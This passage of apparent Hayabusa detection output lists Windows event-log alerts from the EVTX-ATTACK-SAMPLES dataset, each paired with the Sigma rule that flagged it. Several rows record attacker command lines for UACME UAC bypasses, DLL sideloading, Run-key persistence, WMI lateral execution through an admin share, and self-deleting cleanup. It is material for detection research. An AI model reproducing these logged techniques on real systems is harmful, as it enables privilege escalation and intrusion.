POC.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/eop_appcontainer_il_broker_filewrite.evtx +2020-10-02 03:35:02.606 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/eop_appcontainer_il_broker_filewrite.evtx +2020-10-06 05:43:58.450 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: C:\windows\system32\taskmgr.exe : Path: C:\Windows\System32\Taskmgr.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: Akagi_64.exe 59 cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/UACME_59_Sysmon.evtx +2020-10-06 05:43:58.450 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: C:\windows\system32\taskmgr.exe : Path: C:\Windows\System32\Taskmgr.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: Akagi_64.exe 59 cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/UACME_59_Sysmon.evtx +2020-10-06 05:43:58.451 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\windows\system32\taskmgr.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/UACME_59_Sysmon.evtx +2020-10-06 05:43:58.451 +09:00,LAPTOP-JU4M3I0E,1,low,Taskmgr as Parent,,rules/sigma/process_creation/win_susp_taskmgr_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/UACME_59_Sysmon.evtx +2020-10-06 05:43:58.451 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\windows\system32\taskmgr.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/UACME_59_Sysmon.evtx +2020-10-06 05:43:58.451 +09:00,LAPTOP-JU4M3I0E,1,low,Taskmgr as Parent,,rules/sigma/process_creation/win_susp_taskmgr_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/UACME_59_Sysmon.evtx +2020-10-06 07:28:20.530 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Windows\System32\mmc.exe"" WF.msc",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_63.evtx +2020-10-06 07:28:20.530 +09:00,LAPTOP-JU4M3I0E,1,high,MMC Spawning Windows Shell,,rules/sigma/process_creation/win_mmc_spawn_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_63.evtx +2020-10-06 07:28:20.530 +09:00,LAPTOP-JU4M3I0E,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_63.evtx +2020-10-07 06:40:30.910 +09:00,02694w-win10.threebeesco.com,7,medium,Unsigned Image Loaded Into LSASS Process,,rules/sigma/image_load/sysmon_unsigned_image_loaded_into_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ImageLoad_NFSH_Sysmon_7.evtx +2020-10-07 06:40:42.943 +09:00,02694w-win10.threebeesco.com,7,medium,Unsigned Image Loaded Into LSASS Process,,rules/sigma/image_load/sysmon_unsigned_image_loaded_into_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ImageLoad_NFSH_Sysmon_7.evtx +2020-10-07 07:11:17.814 +09:00,02694w-win10.threebeesco.com,13,high,DLL Load via LSASS,,rules/sigma/registry_event/sysmon_susp_lsass_dll_load.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_regsvc_DirectoryServiceExtPt_Lsass_NTDS_AdamXpn.evtx +2020-10-07 07:11:17.848 +09:00,02694w-win10.threebeesco.com,12,high,DLL Load via LSASS,,rules/sigma/registry_event/sysmon_susp_lsass_dll_load.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_regsvc_DirectoryServiceExtPt_Lsass_NTDS_AdamXpn.evtx +2020-10-14 05:11:42.278 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: c:\windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: wuauclt.exe /UpdateDeploymentProvider C:\ProgramData\Intel\helpa.dll /RunHandlerComServer ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/evasion_execution_imageload_wuauclt_lolbas.evtx +2020-10-14 05:11:42.279 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: c:\windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: wuauclt.exe /UpdateDeploymentProvider C:\ProgramData\Intel\helpa.dll /RunHandlerComServer ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/evasion_execution_imageload_wuauclt_lolbas.evtx +2020-10-15 22:17:02.403 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\smartscreen.exe -Embedding : Path: C:\Windows\System32\smartscreen.exe : User: MSEDGEWIN10\IEUser : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_injection_persistence_run_key.evtx +2020-10-15 22:17:02.736 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_injection_persistence_run_key.evtx +2020-10-15 22:17:02.736 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_injection_persistence_run_key.evtx +2020-10-15 22:17:02.736 +09:00,MSEDGEWIN10,13,high,New RUN Key Pointing to Suspicious Folder,,rules/sigma/registry_event/sysmon_susp_run_key_img_folder.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_injection_persistence_run_key.evtx +2020-10-15 22:17:02.737 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Program Files (x86)\Internet Explorer\iexplore.exe"" : Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Users\Public\tools\apt\tendyron.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_injection_persistence_run_key.evtx +2020-10-17 20:38:58.613 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 20:43:27.499 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\Public\tools\apt\wwlib\test.exe"" : Path: C:\Users\Public\tools\apt\wwlib\test.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:27.499 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:31.484 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\Public\tools\apt\wwlib\test.exe"" : Path: C:\Users\Public\tools\apt\wwlib\test.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:31.484 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:31.484 +09:00,MSEDGEWIN10,1,high,CMSTP UAC Bypass via COM Object Access,,rules/sigma/process_creation/win_cmstp_com_object_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:33.495 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Users\IEUser\AppData\Roaming\WINWORD.exe --xStart : Path: C:\Users\IEUser\AppData\Roaming\WINWORD.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Users\Public\tools\apt\wwlib\test.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:36.306 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Users\IEUser\AppData\Roaming\WINWORD.exe --xStart",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:36.306 +09:00,MSEDGEWIN10,1,high,Microsoft Office Product Spawning Windows Shell,,rules/sigma/process_creation/win_office_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:40.902 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\explorer.exe"" : Path: C:\Windows\SysWOW64\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Users\IEUser\AppData\Roaming\WINWORD.exe --xStart",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:40.903 +09:00,MSEDGEWIN10,8,high,CACTUSTORCH Remote Thread Creation,,rules/sigma/create_remote_thread/sysmon_cactustorch.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:45.120 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\IEUser\AppData\Roaming\WINWORD.exe"" : Path: C:\Users\IEUser\AppData\Roaming\WINWORD.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Users\IEUser\AppData\Roaming\WINWORD.exe --xStart",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:45.120 +09:00,MSEDGEWIN10,1,high,MS Office Product Spawning Exe in User Dir,,rules/sigma/process_creation/win_office_spawn_exe_from_users_directory.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:49.229 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c ping 127.0.0.1&&del del /F /Q /A:H ""C:\Users\IEUser\AppData\Roaming\wwlib.dll"" : Path: C:\Windows\SysWOW64\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Users\IEUser\AppData\Roaming\WINWORD.exe --xStart",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:43:49.229 +09:00,MSEDGEWIN10,1,high,Microsoft Office Product Spawning Windows Shell,,rules/sigma/process_creation/win_office_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/sideloading_uacbypass_rundll32_injection_c2.evtx +2020-10-17 20:50:02.661 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{ACA8FE61-4C38-4216-A89C-9F88343DF21F}-GoogleUpdateSetup.exe : URL: http://r3---sn-5hnedn7z.gvt1.com/edgedl/release2/update2/HvaldRNSrX7_feOQD9wvGQ_1.3.36.32/GoogleUpdateSetup.exe?cms_redirect=yes&mh=Aq&mip=213.127.67.142&mm=28&mn=sn-5hnedn7z&ms=nvh&mt=1602935359&mv=m&mvi=3&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 21:32:08.987 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{8B60600B-E6B4-4083-99F3-D3A4CFB95796}-86.0.4240.75_85.0.4183.121_chrome_updater.exe : URL: http://r2---sn-5hne6nsr.gvt1.com/edgedl/release2/chrome/W_YanCvPLKRFNu-eN8kKOw_86.0.4240.75/86.0.4240.75_85.0.4183.121_chrome_updater.exe?cms_redirect=yes&mh=ps&mip=213.127.67.142&mm=28&mn=sn-5hne6nsr&ms=nvh&mt=1602937879&mv=m&mvi=2&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 21:32:11.026 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 21:32:11.318 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 21:32:11.574 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: SetupBinary : URL: https://oneclient.sfx.ms/Win/Prod/20.169.0823.0006/OneDriveSetup.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-17 21:33:56.406 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 01:27:08.081 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: calc.exe : Path: C:\Windows\SysWOW64\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\ProgramData\Intel\CV.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sideloading_wwlib_sysmon_7_1_11.evtx +2020-10-18 01:27:08.734 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2008.2.0_x64__8wekyb3d8bbwe\Calculator.exe"" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca : Path: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2008.2.0_x64__8wekyb3d8bbwe\Calculator.exe : User: MSEDGEWIN10\IEUser : Parent Command: ?",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sideloading_wwlib_sysmon_7_1_11.evtx +2020-10-18 01:27:10.464 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\RuntimeBroker.exe -Embedding : Path: C:\Windows\System32\RuntimeBroker.exe : User: MSEDGEWIN10\IEUser : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sideloading_wwlib_sysmon_7_1_11.evtx +2020-10-18 07:37:52.809 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:52.892 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:52.956 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:52.991 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.047 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.111 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.169 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.230 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.417 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.527 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.571 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.664 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1a7GBU.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.771 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.807 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.867 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:37:53.928 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161340731555_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-18 07:53:05.436 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe /Q /c cd \ 1> \\127.0.0.1\C$\WqEVwJZYOe 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\Administrator : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-18 07:53:05.436 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-18 07:53:05.676 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe /Q /c cd 1> \\127.0.0.1\C$\WqEVwJZYOe 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\Administrator : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-18 07:53:05.676 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-18 07:53:05.777 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd.exe /Q /c c:\windows\system32\rundll32.exe c:\programdata\7okjer,#1 1> \\127.0.0.1\C$\WqEVwJZYOe 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\Administrator : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-18 07:53:05.777 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/smbmap_upload_exec_sysmon.evtx +2020-10-20 20:50:54.810 +09:00,DESKTOP-NTSSLJD,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059.001,technique_name=PowerShell : Command: ""C:\Users\den\Source\Repos\UACME\Source\Akagi\output\x64\Release\Akagi64.exe"" 64 : Path: C:\Users\den\Source\Repos\UACME\Source\Akagi\output\x64\Release\Akagi64.exe : User: DESKTOP-NTSSLJD\den : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:54.810 +09:00,DESKTOP-NTSSLJD,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:55.450 +09:00,DESKTOP-NTSSLJD,11,high,UAC Bypass Using IEInstal - File,,rules/sigma/file_event/sysmon_uac_bypass_ieinstal.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:56.490 +09:00,DESKTOP-NTSSLJD,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1036,technique_name=Masquerading : Command: C:\Users\den\AppData\Local\Temp\IDC1.tmp\[1]consent.exe : Path: C:\Users\den\AppData\Local\Temp\IDC1.tmp\[1]consent.exe : User: 